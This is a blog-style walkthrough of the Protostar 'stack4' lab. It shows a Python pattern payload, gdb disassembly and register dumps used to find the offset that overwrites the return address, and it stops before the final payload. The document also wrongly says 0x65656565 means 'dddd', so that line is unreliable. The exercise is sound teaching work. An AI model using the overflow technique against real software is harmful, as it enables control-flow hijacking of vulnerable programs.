This challenge as the same goal as the previous one : changing the program flow in order to call the win() function. Only this time we have to make to program jump to it on its own. In order to do that we have to overflow the %eip register (it contains the address of the next instruction).
So first, let’s get the address of the win() function :
Now we know the value to insert. Now we have to locate the %eip register in the stack. In order to do that, let’s overflow the buffer with 64 bytes, then we’ll insert distinctive 4 bytes patterns and we’ll look at the registers at run time with gdb.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
user@protostar:/opt/protostar/bin$ python -c 'print 64*"A"+4*"b"+4*"c"+4*"d"+4*"e"' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbbbbccccddddeeee user@protostar:/opt/protostar/bin$ gdb -q stack4 Reading symbols from /opt/protostar/bin/stack4...done. (gdb) disass main Dump of assembler code forfunction main: 0x08048408 <main+0>: push %ebp 0x08048409 <main+1>: mov %esp,%ebp 0x0804840b <main+3>: and $0xfffffff0,%esp 0x0804840e <main+6>: sub $0x50,%esp 0x08048411 <main+9>: lea 0x10(%esp),%eax 0x08048415 <main+13>: mov %eax,(%esp) 0x08048418 <main+16>: call 0x804830c <gets@plt> 0x0804841d <main+21>: leave 0x0804841e <main+22>: ret End of assembler dump. (gdb) break main Breakpoint 1 at 0x8048411: file stack4/stack4.c, line 15.
First I’m generating the payload cause I did not find a proper solution to execute python into gdb (not the best way). then I put my first breakpoint in the main function in order to check the registers before I insert the payload.
(gdb) r Starting program: /opt/protostar/bin/stack4
Breakpoint 1, main (argc=1, argv=0xbffff814) at stack4/stack4.c:15 15 stack4/stack4.c: No such file or directory. in stack4/stack4.c (gdb) (gdb) i r eax 0xbffff814 -1073743852 ecx 0xa5f9d3f9 -1510353927 edx 0x1 1 ebx 0xb7fd7ff4 -1208123404 esp 0xbffff710 0xbffff710 ebp 0xbffff768 0xbffff768 esi 0x0 0 edi 0x0 0 eip 0x8048411 0x8048411 <main+9> eflags 0x200282 [ SF IF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) c Continuing. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbbbbccccddddeeee
Program received signal SIGSEGV, Segmentation fault. 0x65656565 in ?? () (gdb) i r eax 0xbffff720 -1073744096 ecx 0xbffff720 -1073744096 edx 0xb7fd9334 -1208118476 ebx 0xb7fd7ff4 -1208123404 esp 0xbffff770 0xbffff770 ebp 0x64646464 0x64646464 esi 0x0 0 edi 0x0 0 eip 0x65656565 0x65656565 eflags 0x210246 [ PF ZF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb)
Here I run the program and I check the registers at the first breakpoint we can see the content of %eip. I then plant the payload and obtain a sigsegv. gdb is telling me that my next instruction address is not valid. A quick verification of the registers later, I know that %eip has been overflowed by 0x65656565 which translates to ‘dddd’.
I can now modify my payload and insert the right value instead of ‘dddd’ :